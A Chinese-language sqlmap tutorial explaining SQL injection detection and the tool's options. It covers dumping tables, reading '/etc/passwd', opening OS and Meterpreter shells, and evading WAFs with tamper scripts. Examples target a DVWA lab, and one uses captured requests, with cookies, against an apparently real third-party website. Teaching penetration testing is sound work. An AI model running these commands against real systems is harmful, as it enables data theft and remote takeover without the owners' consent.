Sqlmap
开源,python编写
支持5种SQL注入检测技术:
1、基于布尔的注入检测
2、基于时间的注入检测
3、基于错误的注入检测
4、基于UNION联合查询的检测
5、基于堆叠查询的检测
支持的数据库管理系统(可能不支持mongodb):
mysql、oracle、postgresql、sql_server、access、DB2等
其他特性:
数据库直接连接(相当于数据库的一个client):-d
与burpsuite、google结合使用,支持正则表达式限定测试目标
注入检测包含Get、post、cookie、referer、user-agent等部分内容
限速:最大并发、延迟发送
支持Basic、Digest、NTLM、CA身份认证
探测数据库版本、探测用户、提权、hash枚举、字典爆破、暴力破解表列名
文件上传下载、用户定义函数(UDF)、启动并执行存储过程、操作系统命令执行、访问windows注册表
与问w3af、metasploit集成结合使用,基于数据库服务进程提权和上传执行后门
强调:sqlmap由于没有爬虫机制,不会像其他web扫描器一样,你给它一个url它就开始自己边爬边扫了。而是你提交给它的url中有几个变量就扫描几个变量,不会由这个url延伸至其他url。如果想对整站进行扫描可以配合burp suite日志使用,即浏览器挂代理burp suite,然后用浏览器将目标站点能点的都点一遍,最后用sqlmap去读取burp suite的日志进行扫描。
基本用法:
1、检测get方法中的变量:
sqlmap -u "http://172.16.224.197/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" ====>此时sqlmap将对“id”和“Submit”这两个变量进行检测 ##############上面执行过一次注入检测且发现注入点后,再执行下面的命令时就不会再次进行注入检测了,而是直接利用注入点################ sqlmap -u "http://172.16.224.197/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --tables ===>查询目标系统数据库内有什么表 sqlmap -u "http://172.16.224.197/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --columns -D dvwa -T users ====>查询“dvwa”这个数据库中“users”这个表有什么列 sqlmap -u "http://172.16.224.197/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users -C user --dump ===>查询“dvwa”这个数据库中“users”这个表的“user”列的内容
2、检测POST方法中的变量(如果是POST方式提交的变量则用参数“-r”和“-l”最为方便!):
sqlmap -r packet.txt
packet.txt内容为:
POST /search.aspx HTTP/1.1 Host: www.lingchuanw.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://www.lingchuanw.com/ Content-Type: application/x-www-form-urlencoded Content-Length: 17 Cookie: wwwlingchuanwcomCodestate=state=669341881534447178; UM_distinctid=16cbc486f499-0d5c7dbaba350c8-396b4645-232800-16cbc486f4a38d; CNZZDATA1256815596=863944232-1566526959-%7C1566526959 Connection: close Upgrade-Insecure-Requests: 1 c=1&keyword=1dafs
sqlmap -l request.log --batch
request.log内容为:
====================================================== H11:04:02 https://www.lingchuanw.com:443 [112.124.47.239] ====================================================== POST /search.aspx HTTP/1.1 Host: www.lingchuanw.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://www.lingchuanw.com/info/list.html?keywords=1dafs Content-Type: application/x-www-form-urlencoded Content-Length: 15 Cookie: wwwlingchuanwcomCodestate=state=669341881534447178; UM_distinctid=16cbc486f499-0d5c7dbaba350c8-396b4645-232800-16cbc486f4a38d; CNZZDATA1256815596=863944232-1566526959-%7C1566526959 Connection: close Upgrade-Insecure-Requests: 1 c=1&keyword=111 ====================================================== ====================================================== H11:04:03 https://www.lingchuanw.com:443 [112.124.47.239] ====================================================== GET /info/list.html?keywords=111 HTTP/1.1 Host: www.lingchuanw.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://www.lingchuanw.com/info/list.html?keywords=1dafs Cookie: wwwlingchuanwcomCodestate=state=669341881534447178; UM_distinctid=16cbc486f499-0d5c7dbaba350c8-396b4645-232800-16cbc486f4a38d; CNZZDATA1256815596=863944232-1566526959-%7C1566526959 Connection: close Upgrade-Insecure-Requests: 1 ====================================================== ====================================================== H11:04:35 https://www.lingchuanw.com:443 [112.124.47.239] ====================================================== GET /job/ HTTP/1.1 Host: www.lingchuanw.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://www.lingchuanw.com/info/list.html?keywords=1dafs Cookie: wwwlingchuanwcomCodestate=state=669341881534447178; UM_distinctid=16cbc486f499-0d5c7dbaba350c8-396b4645-232800-16cbc486f4a38d; CNZZDATA1256815596=863944232-1566526959-%7C1566526959 Connection: close Upgrade-Insecure-Requests: 1 ====================================================== ====================================================== H11:04:53 https://www.lingchuanw.com:443 [112.124.47.239] ====================================================== GET /job/ HTTP/1.1 Host: www.lingchuanw.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: wwwlingchuanwcomCodestate=state=669341881534447178; UM_distinctid=16cbc486f499-0d5c7dbaba350c8-396b4645-232800-16cbc486f4a38d; CNZZDATA1256815596=863944232-1566526959-%7C1566526959 Connection: close Upgrade-Insecure-Requests: 1 ======================================================
参数说明:
--batch 全局使用默认选项,不与人进行交互,适合全自动工作
target类:
-d 数据库直接连接(相当于数据库的一个client),举例:sqlmap -d "mysql://user:[email protected]:3306/t1" --users
-u 后跟待检测url,待检测url最好用""括起来(适用于表单内容用GET提交时)
--force-sl 如果是https则需加该参数
-p 指定检查哪个变量
扫描举例:sqlmap -u "http://192.168.209.133/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p username
-r 加载http请求信息(当表单内容用POST提交时需将该数据包截获下来存成文本文件,再用-r参数去读取)
-l 加载http请求信息(当表单内容用POST提交时用Burp保存的log作为http请求信息),参数后跟log文件路径 ===>利用这个特点可以浏览器挂burp代理,将想要注入测试的网页都点一遍,然后将日志丢给sqlmap让它去将刚才鼠标点到的网页都扫一遍
-f 获取目标数据库指纹信息
-m 后跟待检测url组成的文件
-g 后跟google搜索语句,举例:sqlmap -g "inurl:\".php?id=1\""
-c 加载配置文件
request类(建议每个参数的数据都用""括起来,e.g:--method='GET'):
--method 强制使用某种请求方法,e.g:--method=GET
--data 使用POST方法请求并构造http包内数据,e.g: --data="我是POST的数据部分"
--param-del web程序默认情况下分隔不同变量用的是'&',假如遇到一些奇葩web程序用其他符号来作为分隔符就需要用这个参数告诉sqlmap哪个是变量分隔符, e.g: sqlmap -u "http://1.1.1.1/muti-translate.gif?hid=abc:(这里的分隔符一般都是&)action=bcd" --param-del=":"
--cookie 携带cookie扫描(比较牛逼的是携带cookie扫描时如果cookie有更新不需手工指定,sqlmap会自动将cookie更换为新的cookie)
--drop-set-cookie 关闭cookie自动更新功能
--user-agent 用来指定扫描时候携带的user-agent,如果没有指定则使用默认(sqlmap/1.0-dev-xxx(http://sqlmap.org))
--random-agent 使用一个随机的user-agent(不是随机字符串,是从user-agent字典(/usr/share/sqlmap/txt/user-agents.txt)中随机抽取一个)
--host 用来指定扫描时携带的host
--referrer 用来指定扫描时携带的referrer
--headers 构建多个特殊的http头部变量,e.g:Accept-Language: fr\nETag: 123 ===>注意:每个头部变量以\n分隔
--auth-type 选择web认证类型,支持Basic, Digest, NTLM or PKI
--auth-cred 构造用户名密码,e.g:--auth-cred=user:password
--proxy 指定扫描时使用的代理,e.g:--proxy="http://127.0.0.1:8080"
--proxy-cred 指定代理服务器的用户名密码,e.g:--proxy-cred="user:password"
--ignore-proxy 忽略系统级代理,通常用于扫描本地网络目标
--delay 每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟,e.g:--delay=5.3
--timeout 请求超时时间,浮点数,默认为30秒
--retries http(s)连接超时重试次数,默认3次
--randomize 每次提交http请求时都将指定变量变为一个随机值(此随机值与原来的值格式类型相同),e.g: sqlmap -u "http://1.1.1.1/a.php?user=admin&id=1" -p user --randomize=id(注入测试user的同时每次id的值也不一样)
--safe-freq 指定发送多少次探测请求包后发送一次正常包(发送大量失败请求可能会触发目标的主动防御机制),e.g:--safe-freq=10
--skip-urlencode 不对url进行编码(默认GET方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据)
--eval 每次请求前执行指定的python代码对url中的变量进行计算(即url中存在某种依赖时(因果、时间等)可以写一段python来计算这个依赖),e.g: sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()" ===>每次请求前通过该python语句对id进行hash后赋值给url中的hash
Injection类:
-p 指定要注入哪个变量,只用-p参数后--level失效(--level不同等级注入测试的变量范围不同,这里用了-p后则只注入手工指定的这一个变量),e.g: -p "id,user,passwd"
--skip 排除指定的扫描参数,e.g: --level=5 --skip="user-agent,id" ===>扫描level5这个范围内的变量,除去user-agent,id
--dbms 指定目标是哪种数据库(如果不指定默认会先扫描目标是哪种数据库,指定后可以提高扫描效率),e.g: --dbms=MySQL
--dbms-cred 如果知道目标数据库用户名密码可以用这个参数携带用户名密码去查询,这样查询的结果更全面(起初觉得都知道用户名密码了还用sqlmap干嘛,仔细一想:对方数据库可能只允许目标web服务器连接,所以这个参数就有必要了)
--os 指定目标底层是哪种操作系统(不同操作系统可能会用到不同的探测语句),e.g: --os=linux
--tamper 指定某个混淆脚本来混淆payload,以躲过WAF、IPS的查杀,e.g: --tamper="space2plus.py,uppercase.py" ===>混淆脚本路径:/usr/share/sqlmap/tamper/
Detection类:
--level 检查的深度(一共5个等级,1级最低) (当level>=2时才会尝试注入cookie的变量,level>=3时才会尝试注入user-agent的变量)
--risk 检查时造成的破坏程度(一共3个等级,1级最低)
Enumeration类(找到注入点后要榨取数据库内的哪些信息):
--current-user 查询现在这个web程序是用哪个账户登录的数据库
--current-db 查询现在这个web程序所用的是数据库系统中的哪个数据库
--banner 获取目标数据库banner信息
--user 查询目标数据库系统的的数据库账号有哪些
--dbs 查询目标数据库系统拥有哪些数据库
--schema 查询目标数据库系统的infomation_schema信息
--privileges 查询目标数据库系统内所有账户对应的权限
-D 选中某一个数据库(只显示指定的数据库)
-T 选中某一个表
-C 选中某一个列
--columns 查询指定数据库中指定表中有哪些列,e.g: -D dvwa -T users --columns
--count 对选中的内容进行数量统计
--dump 查询指定对象中的具体数据,e.g: 数据库中指定表的具体内容,-D dvwa -T users --dump
--start 只查询表中的一部分数据,后跟起始行数
--stop 只查询表中的一部分数据,后跟末尾行数
--exclude-sysdbs 不让系统库显示(减少干扰)
--sql-query 后跟自定义的SQL语句,e.g: --sql-query="select * from users" ===> 经测试仅可以跟select语句,跟create语句不生效
Brute force类(当数据库系统没有information_schema库或者当前账号无权读取information_schema库时,数据库的表名、列名就需要暴力破解了):
--common-tables 暴力破解当前数据库所包含的表名称
--common-columns 暴力破解指定表的列,e.g: -T users --common-columns
File system access类(访问有SQL注入目标的操作系统文件):
--file-read 下载有SQL注入漏洞的操作系统文件,e.g: --file-read="/etc/passwd"
--file-write 向有SQL注入漏洞的操作系统上传文件
--file-dest 规定上传路径,e.g: --file-write="a.txt" --file-dest="/tmp/a.txt"
Operating system access类(对目标操作系统进行操作):
--os-cmd 执行系统命令,e.g: --os-cmd="pwd"
--os-shell 返回一个shell
--sql-shell 返回一个sql的shell
--os-pwn 返回一个Meterpreter or VNC的shell
General类:
--scope 利用正则表达式删选待扫描的目标url,e.g: sqlmap -l burp.log --socpe="正则表达式" ===>这样sqlmap就只会扫描burp.log文件中匹配到正则的url了
-s 修改扫描会话文件保存路径(每扫描过一个目标都会在本地生成一个文件来保存结果,下次扫描该目标时就直接读取这个结果,而不会重新扫描,如果想要重新扫描则需删除这个文件)
-t 修改记录流量文件保存位置
--charset 强制字符编码
--crawl 从起始位置爬网的深度,e.g: --crawl=3
--fresh-queries 忽略存在本地的session信息,对已扫描过的目标重新发起扫描(如果不加这个参数去扫描曾经扫描过的对象,其实是读取的本地储存的上次扫描结果)
--flush-session 清空本地储存的session后再扫描
--force-ssl 使用https访问
--check-waf 检测WAF/IPS
--identify-waf 彻底的WAF/IPS检测
--hpp 通过"HTTP parameter pollution"漏洞绕过WAF/IPS,尤其对windows平台有效
Optimization类(优化):
--predict-output 根据不同的检测方法,对比返回值和字典里的内容,不断缩小检测范围(匹配到其中一个后同类型中其他的就不再检测了。默认是所有种类都会跑一遍),提高效率。与--threads参数不兼容
--keep-alive 使用http长连接(有些WAF可能会对频繁的三次握手进行拦截,此时就可使用长连接)。与--proxy参数不兼容
--null-connection 只获取相应页面的大小值,而非页面具体内容。通常用于盲注判断 真/假 ,降低网络带宽消耗。与--text-only参数不兼容
-o 同时开启前三个性能参数(除--threads参数)
--threads 最大并发线程,默认值为1,建议不超过10。与--predict-output参数不兼容
Miscellaneous(优化):
--mobile 模拟手机发起请求
--wizard 进行向导模式